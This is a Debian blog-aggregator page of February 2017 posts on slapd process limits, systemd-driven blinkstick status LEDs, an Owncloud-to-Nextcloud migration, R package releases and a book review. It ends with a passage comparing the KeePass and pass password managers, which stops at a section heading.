Since I'd spent some time playing with a blinkstick on my NAS, I couldn't resist trying it out with Chocolate Doom too. The result:

21 February, 2017 09:20AM

Arturo Borrero González

About process limits, round 2

htop

I was wrong. After the other blog post About process limits, some people contacted me with additional data and information. I myself continued to investigate on the issue, so I have new facts.

I read again the source code of the slapd daemon and the picture seems clearer now.

A new message appeared in the log files:

[...]
Feb 20 06:26:03 slapd[18506]: daemon: 1025 beyond descriptor table size 1024
Feb 20 06:26:03 slapd[18506]: daemon: 1025 beyond descriptor table size 1024
Feb 20 06:26:03 slapd[18506]: daemon: 1025 beyond descriptor table size 1024
Feb 20 06:26:03 slapd[18506]: daemon: 1025 beyond descriptor table size 1024
Feb 20 06:26:03 slapd[18506]: daemon: 1025 beyond descriptor table size 1024
[...]

This message is clearly produced by the daemon itself, and searching for the string leads to this source code, in servers/slapd/daemon.c:

[...]
sfd = SLAP_SOCKNEW( s );

/* make sure descriptor number isn't too great */
if ( sfd >= dtblsize ) {
	Debug( LDAP_DEBUG_ANY,
		"daemon: %ld beyond descriptor table size %ld\n",
		(long) sfd, (long) dtblsize, 0 );

	tcp_close(s);
	ldap_pvt_thread_yield();
	return 0;
}
[...]

In that same file, dtblsize is set to:

[...]
#ifdef HAVE_SYSCONF
        dtblsize = sysconf( _SC_OPEN_MAX );
#elif defined(HAVE_GETDTABLESIZE)
        dtblsize = getdtablesize();
#else /* ! HAVE_SYSCONF && ! HAVE_GETDTABLESIZE */
        dtblsize = FD_SETSIZE;
#endif /* ! HAVE_SYSCONF && ! HAVE_GETDTABLESIZE */
[...]

If you keep pulling the string, the first two options use system limits to know the value, getrlimit(), and the last one uses a fixed value of 4096 (set at build time).

It turns out that this routine slapd_daemon_init() is called once, at daemon startup (see main() function at servers/slapd/main.c). So the daemon is limiting itself to the limit imposed by the system at daemon startup time.

That means that our previous limits settings at runtime was not being read by the slapd daemon.

Let’s back to the previous approach of establishing the process limits by setting them on the user. The common method is to call ulimit in the init.d script (or systemd service file). One of my concerns of this approach was that slapd runs as a different user, usually openldap.

Again, reading the source code:

[...]
if( check == CHECK_NONE && slapd_daemon_init( urls ) != 0 ) {
	rc = 1;
        SERVICE_EXIT( ERROR_SERVICE_SPECIFIC_ERROR, 16 );
        goto stop;
}

#if defined(HAVE_CHROOT)
	if ( sandbox ) {
		if ( chdir( sandbox ) ) {
			perror("chdir");
			rc = 1;
			goto stop;
		}
		if ( chroot( sandbox ) ) {
			perror("chroot");
			rc = 1;
			goto stop;
		}
	}
#endif

#if defined(HAVE_SETUID) && defined(HAVE_SETGID)
	if ( username != NULL || groupname != NULL ) {
		slap_init_user( username, groupname );
	}
#endif
[...]

So, the slapd daemon first reads the limits and then change user to openldap, (the slap_init_user() function).

We can then asume that if we set the limits to the root user, calling ulimit in the init.d script, the slapd daemon will actually inherint them.

This is what is originally suggested in debian bug #660917. Let’s use this solution for now.

Many thanks to John Hughes john@atlantech.com for the clarifications via email.

21 February, 2017 08:00AM

February 20, 2017

Petter Reinholdtsen

Detect OOXML files with undefined behaviour?

I just noticed the new Norwegian proposal for archiving rules in the goverment list ECMA-376 / ISO/IEC 29500 (aka OOXML) as valid formats to put in long term storage. Luckily such files will only be accepted based on pre-approval from the National Archive. Allowing OOXML files to be used for long term storage might seem like a good idea as long as we forget that there are plenty of ways for a "valid" OOXML document to have content with no defined interpretation in the standard, which lead to a question and an idea.

Is there any tool to detect if a OOXML document depend on such undefined behaviour? It would be useful for the National Archive (and anyone else interested in verifying that a document is well defined) to have such tool available when considering to approve the use of OOXML. I'm aware of the officeotron OOXML validator, but do not know how complete it is nor if it will report use of undefined behaviour. Are there other similar tools available? Please send me an email if you know of any such tool.

20 February, 2017 11:20PM

hackergotchi for Ritesh Raj Sarraf

Ritesh Raj Sarraf

Setting up appliances - the new way

I own a Fitbit Surge. But Fitibit chose to remain exclusive in terms of interoperability. Which means to make any sense out of the data that the watch gathers, you need to stick with what Fitbit mandates. Fair enough in today's trends. It also is part of their business model to restrict useful aspects of the report to Premium Membership.  Again, fair enough in today's business' trends.

But a nice human chose to write a bridge; to extract Fitbit data and feed into Google Fit. The project is written in Python, so you can get it to work on most common computer platforms. I never bothered to package this tool for Debian, because I never was sure when I'd throw away the Fitbit. But until that happens, I decided to use the tool to sync my data to Google Fit. Which led me to requirements.txt

This project's requirement.txt lists versioned module dependencies, of which many modules in Debian, were either older or newer than what was mentioned in the requirements. To get the tool working, I installed it the pip way. 3 months later, something broke and I needed to revisit the installed modules. At that point, I realized that there's no such thing as: pip upgrade

That further led me to dig on why anyone wouldn't add something so simple, because today, in the days of pip, snap, flatpak and dockers, Distributions are predicted to go obsolete and irrelevant. Users should get the SOURCES directly from the developers. But just looking at the date the bug was filed, killed my enthusiasm any further.

So, without packaging for Debian, and without installing through pip, I was happy that my init has the ability to create confined and containerized environments, something that I could use to get the job done.

 

rrs@chutzpah:~$ sudo machinectl login fitbit
[sudo] password for rrs:
Connected to machine fitbit. Press ^] three times within 1s to exit session.

Debian GNU/Linux 9 fitbit pts/0

fitbit login: root
Last login: Fri Feb 17 12:44:25 IST 2017 on pts/1

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@fitbit:~# tail -n 25 /var/tmp/lxc/fitbit-google.log
synced calories - 1440 data points

------------------------------   2017-02-19  -------------------------
synced steps - 1440 data points
synced distance - 1440 data points
synced heart_rate - 38215 data points
synced weight - 0 logs
synced body_fat - 0 logs
synced calories - 1440 data points

------------------------------   2017-02-20  -------------------------
synced steps - 1270 data points
synced distance - 1270 data points
synced heart_rate - 32547 data points
synced weight - 0 logs
synced body_fat - 0 logs
synced calories - 1271 data points

Synced 7 exercises between : 2017-02-15 -- 2017-02-20

--------------------------------------------------------------------------
                                     Like it ?
star the repository : https://github.com/praveendath92/fitbit-googlefit
--------------------------------------------------------------------------

root@fitbit:~#

 

Categories: 

Keywords: 

Like: 

20 February, 2017 06:39PM by Ritesh Raj Sarraf

hackergotchi for Holger Levsen

Holger Levsen

How to use .ics files like it's 1997

$ sudo apt install khal
…
Unpacking khal (0.8.4-3) ...
…
$ (echo 1;echo 0;echo y;echo 0; echo y; echo n; echo y; echo y)  | khal configure
…
Do you want to write the config to /home/user/.config/khal/khal.conf? (Choosing `No` will abort) [y/N]: Successfully wrote configuration to /home/user/.config/khal/khal.conf
$ wget https://anonscm.debian.org/cgit/debconf-data/dc17.git/plain/misc/until-dc17.ics
…
HTTP request sent, awaiting response... 200 OK
Length: 6120 (6.0K) [text/plain]
Saving to: ‘until-dc17.ics’
…
$ khal import --batch -a private until-dc17.ics
$ khal agenda --days 14
Today:
16:30-17:30: DebConf Weekly Meeting ⟳

27-02-2017
16:30-17:30: DebConf Weekly Meeting ⟳

khal is available in stretch and newer and is probably best run from cron piping into '/usr/bin/mail' :-) Thanks to Gunnar Wolf for figuring it all out.

20 February, 2017 05:46PM

hackergotchi for Jonathan Dowland

Jonathan Dowland

Blinkenlights, part 3

red blinkenlights!

red blinkenlights!

Part three of a series. part 1, part 2.

One morning last week I woke up to find the LED on my NAS a solid red. I've never been happier to have something fail.

I'd set up my backup jobs to fire off a systemd unit on failure

OnFailure=status-email-user@%n.service

This is a generator-service, which is used to fire off an email to me when something goes wrong. I followed these instructions on the Arch wiki to set it up). Once I got the blinkstick, I added an additional command to that service to light up the LED:

ExecStart=-/usr/local/bin/blinkstick --index 1 --limit 50 --set-color red

The actual failure was a simple thing to fix. But I never did get the email.

On further investigation, there are problems with using exim and systemd in Debian at the moment: it's possible for the exim4 daemon to exit and for systemd not to know that this is a failure, thus, the mail spool never gets processed. This should probably be fixed by the exim4 package providing a proper systemd service unit.

20 February, 2017 04:31PM

Blinkenlights, part 2

Part two of a series. part 1, part 3.

To start with configuring my NAS to use the new blinkenlights, I thought I'd start with a really easy job: I plug in my iPod, a script runs to back it up, then the iPod gets unmounted. It's one of the simpler jobs to start with because the iPod is a simple block device and there's no encryption in play. For now, I'm also going to assume the LED Is going to be used exclusively for this job. In the future I will want many independent jobs to perhaps use the LED to signal things and figuring out how that will work is going to be much harder.

I'll skip over the journey and go straight to the working solution. I have a systemd job that is used to invoke a sync from the iPod as follows:

[Service]
Type=oneshot
ExecStart=/bin/mount /media/ipod
ExecStart=/usr/local/bin/blinkstick --index 1 --limit 10 --set-color 33c280
ExecStart=/usr/bin/rsync ...
ExecStop=/bin/umount /media/ipod
ExecStop=/usr/local/bin/blinkstick --index 1 --limit 10 --set-color green

[Install]
WantedBy=dev-disk-by\x2duuid-A2EA\x2d96ED.device

[Unit]
OnFailure=blinkstick-fail.service

/media/ipod is a classic mount configured in /etc/fstab. I've done this rather than use the newer systemd .mount units which sadly don't give you enough hooks for running things after unmount or in the failure case. This feels quite unnatural, much more "systemdy" would be to Requires= the mount unit, but I couldn't figure out an easy way to set the LED to green after the unmount. I'm sure it's possible, but convoluted.

The first blinkstick command sets the LED to a colour to indicate "in progress". I explored some of the blinkstick tool's options for a fading or throbbing colour but they didn't work very well. I'll take another look in the future. After the LED is set, the backup job itself runs. The last blinkstick command, which is only run if the previous umount has succeeded, sets the LED to indicate "safe to unplug".

The WantedBy here instructs systemd that when the iPod device-unit is activated, it should activate my backup service. I can refer to the iPod device-unit using this name based on the partition's UUID; this is not the canonical device name that you see if you run systemctl but it's much shorter and crucially its stable, the canonical name depends on exactly where you plugged it in and what other devices might have been connected at the same time.

If something fails, a second unit blinkstick-fail.service gets activated. This is very short:

[Service]
ExecStart=/usr/local/bin/blinkstick --index 1 --limit 50 --set-color red

This simply sets the LED to be red.

Again it's a bit awkward that in 2 cases I'm setting the LED with a simple Exec but in the third I have to activate a separate systemd service: this seems to be the nature of the beast. At least when I come to look at concurrent jobs all interacting with the LED, the failure case should be simple: red trumps any other activity, user must go and check what's up.

20 February, 2017 04:31PM

Russ Allbery

Haul via parents

My parents were cleaning out a bunch of books they didn't want, so I grabbed some of the ones that looked interesting. A rather wide variety of random stuff. Also, a few more snap purchases on the Kindle even though I've not been actually finishing books recently. (I do have two finished and waiting for me to write reviews, at least.) Who knows when, if ever, I'll read these.

Mark Ames — Going Postal (nonfiction)
Catherine Asaro — The Misted Cliffs (sff)
Ambrose Bierce — The Complete Short Stores of Ambrose Bierce (collection)
E. William Brown — Perilous Waif (sff)
Joseph Campbell — A Hero with a Thousand Faces (nonfiction)
Jacqueline Carey — Miranda and Caliban (sff)
Noam Chomsky — 9-11 (nonfiction)
Noam Chomsky — The Common Good (nonfiction)
Robert X. Cringely — Accidental Empires (nonfiction)
Neil Gaiman — American Gods (sff)
Neil Gaiman — Norse Mythology (sff)
Stephen Gillet — World Building (nonfiction)
Donald Harstad — Eleven Days (mystery)
Donald Harstad — Known Dead (mystery)
Donald Harstad — The Big Thaw (mystery)
James Hilton — Lost Horizon (mainstream)
Spencer Johnson — The Precious Present (nonfiction)
Michael Lerner — The Politics of Meaning (nonfiction)
C.S. Lewis — The Joyful Christian (nonfiction)
Grigori Medredev — The Truth about Chernobyl (nonfiction)
Tom Nadeu — Seven Lean Years (nonfiction)
Barak Obama — The Audacity of Hope (nonfiction)
Ed Regis — Great Mambo Chicken and the Transhuman Condition (nonfiction)
Fred Saberhagen — Berserker: Blue Death (sff)
Al Sarrantonio (ed.) — Redshift (sff anthology)
John Scalzi — Fuzzy Nation (sff)
John Scalzi — The End of All Things (sff)
Kristine Smith — Rules of Conflict (sff)
Henry David Thoreau — Civil Disobedience and Other Essays (nonfiction)
Alan W. Watts — The Book (nonfiction)
Peter Whybrow — A Mood Apart (nonfiction)

I've already read (and reviewed) American Gods, but didn't own a copy of it, and that seemed like a good book to have a copy of.

The Carey and Brown were snap purchases, and I picked up a couple more Scalzi books in a recent sale.

20 February, 2017 02:39AM

hackergotchi for Norbert Preining

Norbert Preining

Ryu Murakami – Tokyo Decadence

The other Murakami, Ryu Murakami (村上 龍), is hard to compare to the more famous Haruki. His collection of stories reflects the dark sides of Tokyo, far removed from the happy world of AKB48 and the like. Criminals, prostitutes, depression, loss. A bleak image onto a bleak society.

This collection of short stories is a consequent deconstruction of happiness, love, everything we believe to make our lives worthwhile. The protagonists are idealistic students loosing their faith, office ladies on aberrations, drunkards, movie directors, the usual mixture. But the topic remains constant – the unfulfilled search for happiness and love.

I felt I was beginning to understand what happiness is about. It isn’t about guzzling ten or twenty energy drinks a day, barreling down the highway for hours at a time, turning over your paycheck to your wife without even opening the envelope, and trying to force your family to respect you. Happiness is based on secrets and lies.Ryu Murakami, It all started just about a year and a half ago

A deep pessimistic undertone is echoing through these stories, and the atmosphere and writing reminds of Charles Bukowski. This pessimism resonates in the melancholy of the running themes in the stories, Cuban music. Murakami was active in disseminating Cuban music in Japan, which included founding his own label. Javier Olmo’s pieces are often the connecting parts, as well as lending the short stories their title: Historia de un amor, Se fué.

The belief – that what’s missing now used to be available to us – is just an illusion, if you ask me. But the social pressure of “You’ve got everything you need, what’s your problem?” is more powerful than you might ever think, and it’s hard to defend yourself against it. In this country it’s taboo even to think about looking for something more in life.Ryu Murakami, Historia de un amor

It is interesting to see that on the surface, the women in the stories are the broken characters, leading feminists to incredible rants about the book, see the rant^Wreview of Blake Fraina at Goodreads:

I’ll start by saying that, as a feminist, I’m deeply suspicious of male writers who obsess over the sex lives of women and, further, have the audacity to write from a female viewpoint…
…female characters are pretty much all pathetic victims of the male characters…
I wish there was absolutely no market for stuff like this and I particularly discourage women readers from buying it…Blake Fraina, Goodreads review

On first sight it might look like that the female characters are pretty much all pathetic victims of the male characters, but in fact it is the other way round, the desperate characters, the slaves of their own desperation, are the men, and not the women, in these stories. It is dual to the situation in Hitomi Kanehara’s Snakes and Earrings, where on first sight the tattooist and the outlaw friends are the broken characters, but the really cracked one is the sweet Tokyo girly.

Male-female relationships are always in transition. If there’s no forward progress, things tend to slip backwards.Ryu Murakami, Se fué

Final verdict: Great reading, hard to put down, very much readable and enjoyable, if one is in the mood of dark and depressing stories. And last but not least, don’t trust feminist book reviews.

20 February, 2017 02:08AM by Norbert Preining

February 19, 2017

hackergotchi for Gregor Herrmann

Gregor Herrmann

RC bugs 2016/52-2017/07

debian is in deep freeze for the upcoming stretch release. still, I haven't dived into fixing "general" release-critical bugs yet; so far I mostly kept to working on bugs in the debian perl group:

  • #834912 – src:libfile-tee-perl: "libfile-tee-perl: FTBFS randomly (Failed 1/2 test programs)"
    add patch from ntyni (pkg-perl)
  • #845167 – src:lemonldap-ng: "lemonldap-ng: FTBFS randomly (failing tests)"
    upload package prepared by xavier with disabled tests (pkg-perl)
  • #849362 – libstring-diff-perl: "libstring-diff-perl: FTBFS: test failures with new libyaml-perl"
    add patch from ntyni (pkg-perl)
  • #851033 – src:jabref: "jabref: FTBFS: Could not find org.postgresql:postgresql:9.4.1210."
    update maven.rules
  • #851347 – libjson-validator-perl: "libjson-validator-perl: uses deprecated Mojo::Util::slurp, makes libswagger2-perl FTBFS"
    upload new upstream release (pkg-perl)
  • #852853 – src:libwww-curl-perl: "libwww-curl-perl: FTBFS (Cannot find curl.h)"
    add patch for multiarch curl (pkg-perl)
  • #852879 – src:license-reconcile: "license-reconcile: FTBFS: dh_auto_test: perl Build test --verbose 1 returned exit code 255"
    update tests (pkg-perl)
  • #852889 – src:liblatex-driver-perl: "liblatex-driver-perl: FTBFS: Test failures"
    add missing build dependency (pkg-perl)
  • #854859 – lemonldap-ng-doc: "lemonldap-ng-doc: unhandled symlink to directory conversion: /usr/share/doc/lemonldap-ng-doc/pages/documentation/current"
    help with dpkg-maintscript-helper, upload on xavier's behalf (pkg-perl)

thanks to the release team for pro-actively unblocking the packages with fixes which were uploaded after the begin of the freeze!

19 February, 2017 10:19PM

February 18, 2017

hackergotchi for Steve Kemp

Steve Kemp

Apologies for the blog-churn.

I've been tweaking my blog a little over the past few days, getting ready for a new release of the chronicle blog compiler (github).

During the course of that I rewrote all the posts to have 100% lower-case file-paths. Redirection-pages have been auto-generated for each page which was previously mixed-case, but unfortunately that will have meant that the RSS feed updated unnecessarily:

  • If it used to contain:
    • https://example.com/Some_Page.html
  • It would have been updated to contain
    • https://example.com/some_page.html

That triggered a lot of spamming, as the URLs would have shown up as being new/unread/distinct.

18 February, 2017 10:00PM

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

RPushbullet 0.3.1

RPpushbullet demo

A new release 0.3.1 of the RPushbullet package, following the recent 0.3.0 release is now on CRAN. RPushbullet is interfacing the neat Pushbullet service for inter-device messaging, communication, and more. It lets you easily send alerts like the one to the to your browser, phone, tablet, ... -- or all at once.

This release owes once again a lot to Seth Wenchel who helped to update and extend a number of features. We fixed one more small bug stemming from the RJSONIO to jsonlite transition, and added a few more helpers. We also enabled Travis testing and with it covr-based coverage analysis using pretty much the same setup I described in this recent blog post.

Changes in version 0.3.1 (2017-02-17)

  • The target device designation was corrected (#39).

  • Three new (unexported) helper functions test the validity of the api key, device and channel (Seth in #41).

  • The summary method for the pbDevices class was corrected (Seth in #43).

  • New helper functions pbValidateConf, pbGetUser, pbGetChannelInfo were added (Seth in #44 closing #40).

  • New classes pbUser and pbChannelInfo were added (Seth in #44).

  • Travis CI tests (and covr coverage analysis) are now enabled via an encrypted config file (#45).

Courtesy of CRANberries, there is also a diffstat report for this release.

More details about the package are at the RPushbullet webpage and the RPushbullet GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

18 February, 2017 02:17AM

February 17, 2017

Ingo Juergensmann

Migrating from Owncloud 7 on Debian to Nextcloud 11

These days I got a mail by my hosting provider stating that my Owncloud instance is unsecure, because the online scan from scan.nextcloud.com mailed them. However the scan seemed quite bogus: it reported some issues that were listed as already solved in Debians changelog file. But unfortunately the last entry in changelog was on January 5th, 2016. So, there has been more than a whole year without security updates for Owncloud in Debian stable.

In an discussion with the Nextcloud team I complained a little bit that the scan/check is not appropriate. The Nextcloud team replied very helpful with additional information, such as two bug reports in Debian to clarify that the Owncloud package will most likely be removed in the next release: #816376 and #822681.

So, as there is no nextcloud package in Debian unstable as of now, there was no other way to manually upgrade & migrate to Nextcloud. This went fairly well:

ownCloud 7 -> ownCloud 8.0 -> ownCloud 8.1 -> ownCloud 8.2 -> ownCloud 9.0 -> ownCloud 9.1 -> Nextcloud 10 -> Nextcloud 11

There were some smaller caveats:

  1. When migrating from OC 9.0 to OC 9.1 you need to migrate your addressbooks and calendars as described in the OC 9.0 Release Notes
  2. When migrating from OC 9.1 to Nextcloud 10, the OC 9.1 is higher than expected by the Mextcloud upgrade script, so it warns about that you can't downgrade your installation. The fix was simply to change the OC version in the config.php
  3. The Documents App of OC 7 is no longer available in Nextcloud 11 and is replaced by Collabora App, which is way more complex to setup

The installation and setup of the Docker image for collabora/code was the main issue, because I wanted to be able to edit documents in my cloud. For some reason Nextcloud couldn't connect to my docker installation. After some web searches I found "Can't connect to Collabora Online" which led me to the next entry in the Nextcloud support forum. But in the end it was this posting that finally made it work for me. So, in short I needed to add...

DOCKER_OPTS="--storage-driver=devicemapper"

to /etc/default/docker.

So, in the end everything worked out well and my cloud instance is secure again. :-)

UPDATE 2016-02-18 10:52:
Sadly with that working Collabora Online container from Docker I now face this issue of zombie processes for loolforkit inside of that container.

Kategorie: 
 

17 February, 2017 11:19PM by ij

hackergotchi for Michal Čihař

Michal Čihař

What's coming in Weblate 2.12

Weblate should be released by end of February, so it's now pretty much clear what will be there. So let's look at some of the upcoming features.

There were many improvements in search related features. They got performance improvements (this is especially noticeable on site wide search). Additionally you can search for strings within translation project. On related topic, search and replace is now available for component or project wide operations, what can help you in case of massive renaming in your translations.

We have worked on improving machine translations as well, this time we've added support for Yandex. In case you know some machine translation service which we do not yet support, please submit that to our issue tracker.

Biggest improvement so far comes for visual context feature - it allows you to upload screenshots which are later shown to translators to give them better idea where and in which context the translation is used. So far you had to manually upload screenshot for every source string, what was far from being easy to use. With Weblate 2.12 (and this is already available on Hosted Weblate right now) the screenshots management got way better.

There is now separate interface to manage screenshots (see screenshots for Weblate as an example), you can assign every screenshot to multiple source strings, however you can also let Weblate automatically recognize texts on the screenshots using OCR and suggest strings to assign. This can save you quite a lot of effort, especially with screenshots with lot of strings. This feature is still in early phase, so the suggestions are not always 100% matching, but we're working to improve it further.

There will be some more features as well, you can look at our 2.12 milestone at GitHub to follow the process.

Filed under: Debian English SUSE Weblate | 1 comments

17 February, 2017 11:00AM

hackergotchi for Joey Hess

Joey Hess

Presenting at LibrePlanet 2017

I've gotten in the habit of going to the FSF's LibrePlanet conference in Boston. It's a very special conference, much wider ranging than a typical technology conference, solidly grounded in software freedom, and full of extraordinary people. (And the only conference I've ever taken my Mom to!)

After attending for four years, I finally thought it was time to perhaps speak at it.

Four keynote speakers will anchor the event. Kade Crockford, director of the Technology for Liberty program of the American Civil Liberties Union of Massachusetts, will kick things off on Saturday morning by sharing how technologists can enlist in the growing fight for civil liberties. On Saturday night, Free Software Foundation president Richard Stallman will present the  Free Software Awards and discuss pressing threats and important opportunities for software freedom.

Day two will begin with Cory Doctorow, science fiction author and special consultant to the Electronic Frontier Foundation, revealing how to eradicate all Digital Restrictions Management (DRM) in a decade. The conference will draw to a close with Sumana Harihareswara, leader, speaker, and advocate for free software and communities, giving a talk entitled "Lessons, Myths, and Lenses: What I Wish I'd Known in 1998."

That's not all. We'll hear about the GNU philosophy from Marianne Corvellec of the French free software organization April, Joey Hess will touch on encryption with a talk about backing up your GPG keys, and Denver Gingerich will update us on a crucial free software need: the mobile phone.

Others will look at ways to grow the free software movement: through cross-pollination with other activist movements, removal of barriers to free software use and contribution, and new ideas for free software as paid work.

-- Here's a sneak peek at LibrePlanet 2017: Register today!

I'll be giving some varient of the keysafe talk from Linux.Conf.Au. By the way, videos of my keysafe and propellor talks at Linux.Conf.Au are now available, see the talks page.

17 February, 2017 03:56AM

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

littler 0.3.2

max-heap image

The third release of littler as a CRAN package is now available, following in the now more than ten-year history as a package started by Jeff in the summer of 2006, and joined by me a few weeks later.

littler is the first command-line interface for R and predates Rscript. It is still faster, and in my very biased eyes better as it allows for piping as well shebang scripting via #!, uses command-line arguments more consistently and still starts faster. It prefers to live on Linux and Unix, has its difficulties on OS X due to yet-another-braindeadedness there (who ever thought case-insensitive filesystems where a good idea?) and simply does not exist on Windows (yet -- the build system could be extended -- see RInside for an existence proof, and volunteers welcome!).

This release brings several new examples script to run package checks, use the extraordinary R Hub, download RStudio daily builds, and more -- see below for details. No internals were changed.

The NEWS file entry is below.

Changes in littler version 0.3.2 (2017-02-14)

  • Changes in examples

    • New scripts getRStudioServer.r and getRStudioDesktop.r to download daily packages, currently defaults to Ubuntu amd64

    • New script c4c.r calling rhub::check_for_cran()

    • New script rd2md.r to convert Rd to markdown.

    • New script build.r to create a source tarball.

    • The installGitHub.r script now use package remotes (PR #44, #46)

Courtesy of CRANberries, there is a comparison to the previous release. Full details for the littler release are provided as usual at the ChangeLog page. The code is available via the GitHub repo, from tarballs off my littler page and the local directory here -- and now of course all from its CRAN page and via install.packages("littler"). Binary packages are available directly in Debian as well as soon via Ubuntu binaries at CRAN thanks to the tireless Michael Rutter.

Comments and suggestions are welcome at the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

17 February, 2017 01:20AM

February 16, 2017

Craig Sanders

New D&D Cantrip

Name: Alternative Fact
Level: 0
School: EN
Time: 1 action
Range: global, contagious
Components: V, S, M (one racial, cultural or religious minority to blame)
Duration: Permanent (irrevocable)
Classes: Cleric, (Grand) Wizard, Con-man Politician

The caster can tell any lie, no matter how absurd or outrageous (in fact, the more outrageous the better), and anyone hearing it (or hearing about it later) with an INT of 10 or less will believe it instantly, with no saving throw. They will defend their new belief to the death – theirs or yours.

This belief can not be disbelieved, nor can it be defeated by any form of education, logic, evidence, or reason. It is completely incurable. Dispel Magic does not work against it, and Remove Curse is also ineffectual.

New D&D Cantrip is a post from: Errata

16 February, 2017 08:01AM by cas

February 15, 2017

Antoine Beaupré

A look at password managers

As we noted in an earlier article, passwords are a liability and we'd prefer to get rid of them, but the current reality is that we do use a plethora of passwords in our daily lives. This problem is especially acute for technology professionals, particularly system administrators, who have to manage a lot of different machines. But it also affects regular users who still use a large number of passwords, from their online bank to their favorite social-networking site. Despite the remarkable memory capacity of the human brain, humans are actually terrible at recalling even short sets of arbitrary characters with the precision needed for passwords.

Therefore humans reuse passwords, make them trivial or guessable, write them down on little paper notes and stick them on their screens, or just reset them by email every time. Our memory is undeniably failing us and we need help, which is where password managers come in. Password managers allow users to store an arbitrary number of passwords and just remember a single password to unlock them all.

But there is a large variety of password managers out there, so which one should we be using? At my previous job, an inventory was done of about 40 different free-software password managers in different stages of development and of varying quality. So, obviously, this article will not be exhaustive, but instead focus on a smaller set of some well-known options that may be interesting to readers.

KeePass: the popular alternative

The most commonly used password-manager design pattern is to store passwords in a file that is encrypted and password-protected. The most popular free-software password manager of this kind is probably KeePass.

An important feature of KeePass is the ability to auto-type passwords in forms, most notably in web browsers. This feature makes KeePass really easy to use, especially considering it also supports global key bindings to access passwords. KeePass databases are designed for simultaneous access by multiple users, for example, using a shared network drive.

KeePass has a graphical interface written in C#, so it uses the Mono framework on Linux. A separate project, called KeePassX is a clean-room implementation written in C++ using the Qt framework. Both support the AES and Twofish encryption algorithms, although KeePass recently added support for the ChaCha20 cipher. AES key derivation is used to generate the actual encryption key for the database, but the latest release of KeePass also added using Argon2, which was the winner of the July 2015 password-hashing competition. Both programs are more or less equivalent, although the original KeePass seem to have more features in general.

The KeePassX project has recently been forked into another project now called KeePassXC that implements a set of new features that are present in KeePass but missing from KeePassX like:

  • auto-type on Linux, Mac OS, and Windows
  • database merging — which allows multi-user support
  • using the web site's favicon in the interface

So far, the maintainers of KeePassXC seem to be open to re-merging the project "if the original maintainer of KeePassX in the future will be more active and will accept our merge and changes". I can confirm that, at the time of writing, the original KeePassX project now has 79 pending pull requests and only one pull request was merged since the last release, which was 2.0.3 in September 2016.

While KeePass and derivatives allow multiple users to access the same database through the merging process, they do not support multi-party access to a single database. This may be a limiting factor for larger organizations, where you may need, for example, a different password set for different technical support team levels. The solution in this case is to use separate databases for each team, with each team using a different shared secret.

Pass: the standard password manager?

I am currently using password-store, or pass, as a password manager. It aims to be "the standard Unix password manager". Pass is a GnuPG-based password manager that features a surprising number of features given its small size:

  • copy-paste support
  • Git integration
  • multi-user/group support
  • pluggable extensions (in the upcoming 1.7 release)

The command-line interface is simple to use and intuitive. The following, will, for example, create a pass repository, a 20 character password for your LWN account and copy it to the clipboard:

    $ pass init
    $ pass generate -c lwn 20

The main issue with pass is that it doesn't encrypt the name of those entries: if someone were to compromise my machine, they could easily see which sites I have access to simply by listing the passwords stored in ~/.password-store. This is a deliberate design decision by the upstream project, as stated by a mailing list participant, Allan Odgaard:

Using a single file per item has the advantage of shell completion, using version control, browse, move and rename the items in a file browser, edit them in a regular editor (that does GPG, or manually run GPG first), etc.

Odgaard goes on to point out that there are alternatives that do encrypt the entire database (including the site names) if users really need that feature.

Furthermore, there is a tomb plugin for pass that encrypts the password store in a LUKS container (called a "tomb"), although it requires explicitly opening and closing the container, which makes it only marginally better than using full disk encryption system-wide. One could also argue that password file names do not hold secret information, only the site name and username, perhaps, and that doesn't require secrecy. I do believe those should be kept secret, however, as they could be used to discover (or prove) which sites you have access to and then used to perform other attacks. One could draw a parallel with the SSH known_hosts file, which used to be plain text but is now hashed so that hosts are more difficult to discover.

Also, sharing a database for multi-user support will require some sort of file-sharing mechanism. Given the integrated Git support, this will likely involve setting up a private Git repository for your team, something which may not be accessible to the average Linux user. Nothing keeps you, however, from sharing the ~/.password-store directory through another file sharing mechanism like (say) Syncthing or Dropbox).

You can use multiple distinct databases easily using the PASSWORD_STORE_DIR environment variable. For example, you could have a shell alias to use a different repository for your work passwords with:

    alias work-pass="PASSWORD_STORE_DIR=~/work-passwords pass"

Group support comes from a clever use of the GnuPG multiple-recipient encryption support. You simply have to specify multiple OpenPGP identities when initializing the repository, which also works in subdirectories:

    $ pass init -p Ateam me@example.com joelle@example.com
    mkdir: created directory '/home/me/.password-store/Ateam'
    Password store initialized for me@example.com, joelle@example.com
    [master 0e3dbe7] Set GPG id to me@example.com, joelle@example.com.
     1 file changed, 2 insertions(+)
     create mode 100644 Ateam/.gpg-id

The above will configure pass to encrypt the passwords in the Ateam directory for me@example.com and joelle@example.com. Pass depends on GnuPG to do the right thing when encrypting files and how those identities are treated is entirely delegated to GnuPG's default configuration. This could lead to problems if arbitrary keys can be injected into your key ring, which could confuse GnuPG. I would therefore recommend using full key fingerprints instead of user identifiers.

Regarding the actual encryption algorithms used, in my tests, GnuPG 1.4.18 and 2.1.18 seemed to default to 256-bit AES for encryption, but that has not always been the case. The chosen encryption algorithm actually depends on the recipient's key preferences, which may vary wildly: older keys and versions may use anything from 128-bit AES to CAST5 or Triple DES. To figure out which algorithm GnuPG chose, you may want to try this pipeline:

    $ echo test | gpg -e -r you@example.com | gpg -d -v
    [...]
    gpg: encrypted with 2048-bit RSA key, ID XXXXXXX, created XXXXX
      "You Person You <you@example.com>"
    gpg: AES256 encrypted data
    gpg: original file name=''
    test

As you can see, pass is primarily a command-line application, which may make it less accessible to regular users. The community has produced different graphical interfaces that are either using pass directly or operate on the storage with their own GnuPG integration. I personally use pass in combination with Rofi to get quick access to my passwords, but less savvy users may want to try the QtPass interface, which should be more user-friendly. QtPass doesn't actually depend on pass and can use GnuPG directly to interact with the pass database; it is available for Linux, BSD, OS X, and Windows.

Browser password managers

